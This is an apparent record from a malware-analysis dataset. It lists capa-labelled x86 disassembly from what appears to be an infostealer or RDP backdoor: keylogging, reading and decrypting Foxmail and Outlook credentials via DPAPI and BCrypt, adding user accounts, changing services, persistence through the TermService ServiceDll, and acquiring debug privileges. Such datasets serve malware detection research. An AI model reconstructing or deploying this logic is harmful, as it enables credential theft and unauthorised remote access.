joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b778
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push ebx
push esi
push edi
push 0x100
push 0
push eax
mov bl, cl
call fcn.00401293
add esp, 0xc
movzx esi, bl
push 0
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov edi, eax
cmp esi, 0x63
ja 0x40b84d
je 0x40b7de
cmp esi, 0x24
ja 0x40b81f
je 0x40b7de
cmp esi, 0x12
ja 0x40b810
je 0x40b7de
mov eax, esi
sub eax, 8
je 0x40b7de
sub eax, 1
je 0x40b7de
sub eax, 4
je 0x40b7de
sub eax, 3
je 0x40b7de
sub eax, 1
jne 0x40b7e4
or edi, 0x100
push esi
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
push 1
mov byte [ebp - 1], al
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 1]
push eax
push edi
push esi
call dword [sym.imp.USER32.dll_ToUnicode]
pop edi
pop esi
lea eax, [ebp - 0x104]
pop ebx
leave
ret
mov eax, esi
sub eax, 0x14
je 0x40b7de
sub eax, 0xc
jmp 0x40b8b0
cmp esi, 0x5b
ja 0x40b841
je 0x40b7de
mov eax, esi
sub eax, 0x25
je 0x40b7de
sub eax, 1
je 0x40b7de
sub eax, 1
je 0x40b7de
sub eax, 1
je 0x40b7de
sub eax, 6
jmp 0x40b7dc
mov eax, esi
sub eax, 0x5c
je 0x40b7de
sub eax, 4
jmp 0x40b8b9
mov eax, 0xba
cmp esi, eax
ja 0x40b891
je 0x40b7de
cmp esi, 0x69
ja 0x40b873
je 0x40b7de
mov eax, esi
sub eax, 0x64
je 0x40b7de
sub eax, 1
jmp 0x40b8b0
mov eax, esi
sub eax, 0xad
je 0x40b7de
sub eax, 1
je 0x40b7de
sub eax, 1
jmp 0x40b7d2
mov eax, 0xc0
cmp esi, eax
ja 0x40b8a9
je 0x40b7de
mov eax, esi
sub eax, 0xbb
jmp 0x40b868
mov eax, esi
sub eax, 0xdb
je 0x40b7de
sub eax, 1
je 0x40b7de
sub eax, 1
jmp 0x40b7d7

Function at 0x40b8c7
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
xor eax, eax
push ebx
push esi
push edi
mov ebx, ecx
movzx esi, dl
mov edi, ebx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
cmp esi, 0x63
ja 0x40b983
je 0x40ba22
cmp esi, 0x24
ja 0x40b93d
je 0x40ba22
cmp esi, 0x12
ja 0x40b92a
je 0x40ba22
mov eax, esi
sub eax, 8
je 0x40ba22
sub eax, 1
je 0x40ba22
sub eax, 4
je 0x40ba22
sub eax, 3
jmp 0x40b9e4
mov eax, esi
sub eax, 0x14
je 0x40ba22
sub eax, 0xc
jmp 0x40b9da
cmp esi, 0x5b
ja 0x40b973
je 0x40ba22
mov eax, esi
sub eax, 0x25
je 0x40ba22
sub eax, 1
je 0x40ba22
sub eax, 1
je 0x40ba22
sub eax, 1
je 0x40ba22
sub eax, 6
jmp 0x40b9e9
mov eax, esi
sub eax, 0x5c
je 0x40ba22
sub eax, 4
jmp 0x40b9df
mov eax, 0xba
cmp esi, eax
ja 0x40b9bf
je 0x40ba22
cmp esi, 0x69
ja 0x40b9a9
je 0x40ba22
mov eax, esi
sub eax, 0x64
je 0x40ba22
sub eax, 1
jmp 0x40b9da
mov eax, esi
sub eax, 0xad
je 0x40ba22
sub eax, 1
je 0x40ba22
sub eax, 1
jmp 0x40b91c
mov eax, 0xc0
cmp esi, eax
ja 0x40b9d3
je 0x40ba22
mov eax, esi
sub eax, 0xbb
jmp 0x40b9a2
mov eax, esi
sub eax, 0xdb
je 0x40ba22
sub eax, 1
je 0x40ba22
sub eax, 1
je 0x40ba22
sub eax, 1
je 0x40ba22
push 0x100
xor edi, edi
lea eax, [ebp - 0x100]
push edi
push eax
call fcn.00401293
add esp, 0xc
push edi
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push edi
push 1
lea ecx, [ebx + 8]
push ecx
lea ecx, [ebp - 0x100]
push ecx
push eax
push esi
call dword [sym.imp.USER32.dll_ToUnicode]
jmp 0x40ba25
mov dword [ebx + 4], esi
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x40c237
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push edi
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
push str.softwareAerofoxFoxmailPreview
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c28e
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x104
push eax
mov edi, 0x41e7b8
push edi
push 0
push 0
push str.Executable
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40c28e
push edi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov al, 1
jmp 0x40c290
xor al, al
pop edi
leave
ret

Function at 0x40c293
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x460
lea eax, [ebp - 0x354]
push ebx
push esi
push edi
push 0
push eax
push 0x104
push 0x41e6b0
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x354]
push 0x419e90
push eax
lea eax, [ebp - 0x45c]
push eax
call esi
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x45c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x40c34b
mov ecx, dword [ebp - 0x24c]
or ecx, 0x10
cmp ecx, 0x10
jne 0x40c339
cmp byte [ebp - 0x220], 0x2e
je 0x40c339
lea eax, [ebp - 0x220]
push eax
push 0x41e6b0
lea eax, [ebp - 0x10c]
push eax
call esi
push str.AccountsAccount.rec0
lea eax, [ebp - 0x10c]
push eax
push eax
call esi
lea eax, [ebp - 0x10c]
mov ecx, ebx
push eax
call fcn.0040bf94
lea eax, [ebp - 0x24c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40c2f0
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x40c73a
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3014
call fcn.00401230
push ebx
push esi
push edi
mov esi, 0x800
mov dword [ebp - 0x10], ecx
push esi
xor ebx, ebx
lea eax, [ebp - 0x1010]
push ebx
push eax
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0x2010]
push esi
push ebx
push eax
call fcn.00401293
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 4]
add esp, 0xc
mov esi, 0xf003f
push eax
push esi
push ebx
push 0x41aeb8
push closesocket
call edi
test eax, eax
jne 0x40c79e
push str.SoftwareMicrosoftOffice15.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x40c7f4
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push closesocket
call edi
test eax, eax
jne 0x40c7bb
push str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesOutlook9375CFF0413111d3B88A00104B2A6676
jmp 0x40c7f4
lea eax, [ebp - 4]
push eax
push esi
push ebx
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
push closesocket
call edi
test eax, eax
jne 0x40c7d8
push str.SoftwareMicrosoftWindows_Messaging_SubsystemProfiles9375CFF0413111d3B88A00104B2A6676
jmp 0x40c7f4
lea eax, [ebp - 4]
push eax
push esi
push ebx
mov esi, str.SoftwareMicrosoftOffice16.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
push esi
push closesocket
call edi
test eax, eax
jne 0x40c8f5
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x1010]
push eax
call esi
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x40c8f5
cmp dword [ebp - 0xc], ebx
jbe 0x40c8f0
xor eax, eax
mov dword [ebp - 8], 0x800
push eax
push eax
push eax
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x3010]
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x40c8f5
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1010]
push eax
lea eax, [ebp - 0x2010]
push eax
call esi
push 0x4194e4
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x3010]
push eax
lea eax, [ebp - 0x2010]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x2010]
push eax
push closesocket
call edi
test eax, eax
jne 0x40c8f5
push ecx
push dword [ebp - 4]
mov ecx, dword [ebp - 0x10]
call fcn.0040c8fc
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x1010]
push eax
push closesocket
call edi
test eax, eax
jne 0x40c8f5
inc ebx
cmp ebx, dword [ebp - 0xc]
jb 0x40c82e
xor eax, eax
inc eax
jmp 0x40c8f7
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40cc6b
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2014
call fcn.00401230
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, edx
mov dword [ebp - 4], ecx
lea eax, [edi - 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov edx, eax
inc esi
cmp edi, esi
jle 0x40cca7
mov ecx, dword [ebp - 4]
mov al, byte [esi + ecx]
mov byte [edx + esi - 1], al
inc esi
cmp esi, edi
jl 0x40cc9b
lea eax, [edi - 1]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], eax
xor esi, esi
lea eax, [ebp - 0x14]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x40ccf0
test edi, edi
jle 0x40cce7
mov edx, dword [ebp - 0x10]
lea ecx, [ebp - 0x2014]
movzx eax, byte [edx + esi]
add esi, 2
mov word [ecx], ax
lea ecx, [ecx + 2]
cmp esi, edi
jl 0x40ccd6
lea eax, [ebp - 0x2014]
push eax
jmp 0x40ccf5
push str.Could_not_decrypt
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40da6a
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fbc
call fcn.00401230
push ebx
push esi
push edi
push dword [ebp + 8]
mov ebx, 0x1fa0
mov edi, ecx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
mov esi, eax
xor ebx, ebx
lea eax, [ebp - 0x1fbc]
push ebx
push eax
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 4]
push ebx
push ebx
push eax
lea eax, [ebp - 0x1fbc]
push eax
push 1
push esi
push dword [ebp + 8]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
lea eax, [ebp - 0x1fbc]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x1c]
mov dword [ebp - 0xc], ebx
push eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x10], ebx
call dword [edi + 0x8c]
mov ecx, dword [ebp - 8]
add esp, 0xc
mov eax, dword [ebp - 0xc]
mov byte [ecx + eax], bl
mov ecx, dword [ebp - 8]
lea ecx, [ecx + 1]
call fcn.00406f2c
mov ecx, dword [ebp + 0xc]
push dword [ebp - 0xc]
push eax
mov dword [ecx], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x40eb8e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
mov eax, 0x104
xor ebx, ebx
push eax
mov dword [ebp - 8], eax
inc ebx
lea eax, [ebp - 0x214]
mov dword [ebp - 0xc], ebx
push 0
push eax
mov edi, edx
mov esi, ecx
call fcn.00401293
add esp, 0xc
lea eax, [ebp - 0x214]
push str.SoftwareMicrosoftWindowsCurrentVersionApp_Paths_
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
push ebx
push 0
lea eax, [ebp - 0x214]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40ec21
lea eax, [ebp - 8]
push eax
push edi
lea ecx, [ebp - 0xc]
push ecx
push 0
push str.Path
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x40ec23
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x410468
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
push edi
lea eax, [ebp - 8]
mov dword [ebp - 0x14], ecx
push eax
push dword [ebp + 0x18]
xor ecx, ecx
mov dword [ebp - 0x18], edx
push ecx
push ecx
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ecx
push eax
push ecx
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], ecx
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov edi, eax
test edi, edi
je 0x4104cd
mov ecx, dword [ebp - 8]
mov esi, dword [ebp + 0x20]
push ecx
push 0x40
mov dword [esi], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp + 0x1c]
mov dword [ecx], eax
test eax, eax
je 0x4104c4
push dword [esi]
push dword [ebp - 4]
push eax
call fcn.0040126d
add esp, 0xc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
leave
ret

Function at 0x410514
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
mov eax, edx
mov dword [ebp - 4], eax
cmp dword [0x41e8c0], esi
je 0x41053a
push dword [ebp + 8]
call fcn.004105c0
pop ecx
mov esi, eax
jmp 0x4105bb
push edi
push esi
push esi
push 3
push esi
push 3
push closesocket
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x4105ba
cmp edi, 0xffffffff
je 0x4105ba
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x4105b3
cmp dword [ebp - 0xc], esi
jne 0x4105b3
mov eax, dword [ebp - 0x10]
push ebx
mov ebx, dword [ebp + 8]
push eax
push 0x40
mov dword [ebx], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
test eax, eax
je 0x4105b2
push esi
lea ecx, [ebp - 8]
push ecx
push dword [ebx]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4105a7
mov eax, dword [ebx]
cmp eax, dword [ebp - 8]
jne 0x4105a7
xor esi, esi
inc esi
jmp 0x4105b2
mov eax, dword [ebp - 4]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
leave
ret

Function at 0x4105c0
Capabilities:
Decode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, dword [ebp + 8]
mov eax, ecx
push esi
push edi
xor esi, esi
mov dword [ebp - 4], eax
push esi
push esi
push ebx
push esi
push 1
mov edi, edx
mov dword [ebx], esi
push esi
push eax
mov dword [edi], esi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
test eax, eax
je 0x410619
push dword [ebx]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [edi], eax
test eax, eax
je 0x410619
push esi
push esi
push ebx
push eax
push 1
push esi
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryW]
mov esi, eax
test esi, esi
jne 0x410619
push dword [edi]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [edi], eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4108a6
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
push edi
mov edi, edx
mov word [ebp - 8], 0x3176
mov byte [ebp - 6], 0x30
mov esi, ecx
cmp edi, 3
jb 0x4109a5
movzx eax, word [esi]
lea ecx, [ebp - 8]
cmp ax, word [ecx]
jne 0x4109a5
movzx eax, byte [esi + 2]
cmp al, byte [ecx + 2]
jne 0x4109a5
cmp dword [ebp + 8], 0
je 0x4109f6
cmp dword [ebp + 0xc], 0
je 0x4109f6
push 0x40
pop ebx
push ebx
lea eax, [ebp - 0x4c]
push 0
push eax
call fcn.00401293
lea eax, [esi + 3]
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x44], eax
add esp, 0xc
lea eax, [edi - 0x10]
mov dword [ebp - 0x48], 1
add eax, esi
mov dword [ebp - 0x40], 0xc
add edi, 0xffffffe1
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0x10
mov dword [ebp - 8], edi
je 0x4109a1
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
test ebx, ebx
je 0x4109f6
xor ecx, ecx
lea eax, [ebp - 8]
push ecx
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x4c]
push ebx
push ecx
push ecx
push eax
push dword [ebp - 8]
mov eax, dword [ebp - 0x44]
add eax, dword [ebp - 0x40]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
jne 0x4109a1
mov eax, dword [ebp - 8]
test eax, eax
je 0x4109a1
inc eax
push eax
call fcn.00401000
mov esi, dword [ebp - 8]
mov edi, eax
pop ecx
lea ecx, [esi + 1]
push ecx
push 0
push edi
call fcn.00401293
add esp, 0xc
push esi
push ebx
push edi
call fcn.0040126d
add esp, 0xc
push ebx
jmp 0x4109ee
xor eax, eax
jmp 0x4109f6
push ecx
lea eax, [ebp - 8]
mov ecx, esi
push eax
lea eax, [ebp - 0xc]
push eax
sub esp, 0x14
call fcn.004103e4
add esp, 0x20
test eax, eax
je 0x4109f6
mov eax, dword [ebp - 8]
inc eax
push eax
call fcn.00401000
mov esi, dword [ebp - 8]
mov edi, eax
pop ecx
lea ecx, [esi + 1]
push ecx
push 0
push edi
call fcn.00401293
add esp, 0xc
push esi
push dword [ebp - 0xc]
push edi
call fcn.0040126d
add esp, 0xc
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x410c08
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 8], 0
push ebx
push esi
mov ebx, edx
mov dword [ebp - 4], ecx
je 0x410c3e
mov esi, dword [ebp + 8]
push 0
mov eax, ebx
sub eax, esi
add eax, dword [ebp + 8]
push esi
push eax
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x410c3e
mov ecx, dword [ebp - 4]
sub esi, eax
jne 0x410c1c
mov al, 1
jmp 0x410c40
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x410d7a
Capabilities:
Add user account
Add user account to group

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
xor edi, edi
mov dword [ebp - 8], 0x10201
push edi
mov eax, dword [esi]
inc ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], edi
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x20]
push eax
push ebx
push edi
mov dword [ebp - 0xc], edi
mov dword [ebp - 4], edi
call dword [sym.imp.NETAPI32.dll_NetUserAdd]
test eax, eax
jne 0x410def
mov eax, dword [esi]
lea ecx, [ebp + 0xc]
mov dword [ebp + 8], eax
call fcn.00413248
push ebx
lea ecx, [ebp + 8]
push ecx
push 3
push dword [eax]
push edi
call dword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]
mov ecx, dword [ebp + 0xc]
mov esi, eax
call fcn.00406f1d
xor eax, eax
test esi, esi
sete al
jmp 0x410df1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x410df8
Capabilities:
Modify service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 1
push str.ServicesActive
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x410e5e
mov eax, dword [ebp + 8]
push ebx
push 2
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x410e33
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x410e5d
push edi
push edi
push edi
push edi
push edi
push edi
push edi
push 0xffffffffffffffff
push dword [ebp + 0xc]
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
test eax, eax
je 0x410e4f
xor edi, edi
inc edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret 8

Function at 0x410e64
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push 1
push str.ServicesActive
xor edi, edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x410ee3
mov eax, dword [ebp + 8]
push ebx
push 0x10
push dword [eax]
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x410e9f
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x410ee2
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x410ed1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x420
jne 0x410ed4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x410ed4
xor edi, edi
inc edi
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push ebx
call esi
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret 4
Function at 0x41141f
Capabilities:
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov ebx, ecx
xor esi, esi
push str.SYSTEMCurrentControlSetServicesTermServiceParameters
lea ecx, [ebp - 0x10]
mov dword [ebp - 8], esi
call fcn.0040460a
lea eax, [ebp - 8]
push eax
push 0x102
push esi
push dword [ebp - 0x10]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x4114d8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebx + 0x34]
call fcn.0040424e
push str.ServiceDll
lea ecx, [ebp - 0xc]
mov ebx, eax
call fcn.0040460a
cmp dword [ebp - 8], esi
jne 0x411482
mov ebx, esi
jmp 0x41149c
push dword [ebx + 4]
push dword [ebx]
push 2
push esi
push dword [eax]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ebx, ebx
test eax, eax
sete bl
mov ecx, dword [ebp - 0xc]
call fcn.00406f1d
lea ecx, [ebp - 0x18]
mov dword [ebp - 0xc], esi
call fcn.00404081
test ebx, ebx
jne 0x4114c2
cmp dword [ebp - 8], esi
je 0x4114bd
push dword [ebp - 8]
call edi
mov dword [ebp - 8], esi
jmp 0x4114d8
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 8], esi
je 0x4114d2
push dword [ebp - 8]
call edi
mov dword [ebp - 8], esi
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x10]
call fcn.00406f1d
cmp dword [ebp - 8], 0
je 0x4114eb
push dword [ebp - 8]
call edi
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 4
Function at 0x411906
Capabilities:
Connect socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
lea eax, [ebp - 0x1a0]
push ebx
push esi
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x41192c
xor eax, eax
jmp 0x41199a
push 6
xor edi, edi
inc edi
push edi
push 2
pop ebx
push ebx
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x411990
push str.127.0.0.1
mov word [ebp - 0x10], bx
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0xd3d
mov dword [ebp - 0xc], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
push esi
cmp eax, 0xffffffff
jne 0x411985
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x411928
call dword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x411992
xor edi, edi
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x411f55
Capabilities:
Acquire debug privileges

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x10
push esi
push edi
mov edi, 0x553050
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
and dword [ebp - 8], 0
lea ecx, [ebp - 8]
call fcn.00413473
mov ecx, edi
call fcn.004114f4
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
je 0x411fd6
push str.SeDebugPrivilege
lea ecx, [ebp - 4]
call fcn.0040460a
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, esi
mov ecx, eax
call fcn.004132f4
mov ecx, dword [ebp - 4]
mov esi, eax
call fcn.00406f1d
test esi, esi
je 0x411fd6
mov ecx, dword [0x55307c]
call fcn.00414ac7
push 0x3e8
call edi
push str._SystemRoot_System32_termsrv.dll
lea ecx, [ebp - 0xc]
call fcn.0040460a
push ecx
mov ecx, 0x553050
call fcn.0041141f
mov esi, dword [0x5530a4]
lea ecx, [ebp - 4]
push str.rudp
call fcn.0040460a
cmp dword [esi], 0
je 0x41200e
push eax
mov ecx, esi
call fcn.00414d03
mov ecx, dword [ebp - 4]
call fcn.00406f1d
mov esi, dword [0x5530a4]
lea ecx, [ebp - 4]
push str.rpdp
call fcn.0040460a
cmp dword [esi], 0
je 0x412036
push eax
mov ecx, esi
call fcn.00414d03
mov ecx, dword [ebp - 4]
call fcn.00406f1d
push ecx
mov ecx, esp
push 0x553088
call fcn.00404656
call fcn.00413c34
mov ecx, esp
push 0x55308c
call fcn.00404656
call fcn.00413c34
mov eax, dword [0x55309c]
xor esi, esi
pop ecx
test eax, eax
je 0x4120a7
cmp esi, eax
setb cl
call fcn.00406d65
mov eax, dword [0x553094]
lea ecx, [ebp - 4]
lea eax, [eax + esi*4]
push eax
call fcn.00404656
lea eax, [ebp - 4]
push eax
call fcn.00410e64
mov ecx, dword [ebp - 4]
call fcn.00406f1d
and dword [ebp - 4], 0
inc esi
mov eax, dword [0x55309c]
cmp esi, eax
jb 0x41206f
mov esi, 0x1f4
push esi
call edi
push 0x553078
call fcn.00410e64
push esi
call edi
push 0
call fcn.00410f97
mov ecx, dword [ebp - 8]
call fcn.0041344c
push 0x553050
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 0xc]
call fcn.00406f1d
pop edi
pop esi
mov esp, ebp
pop ebp
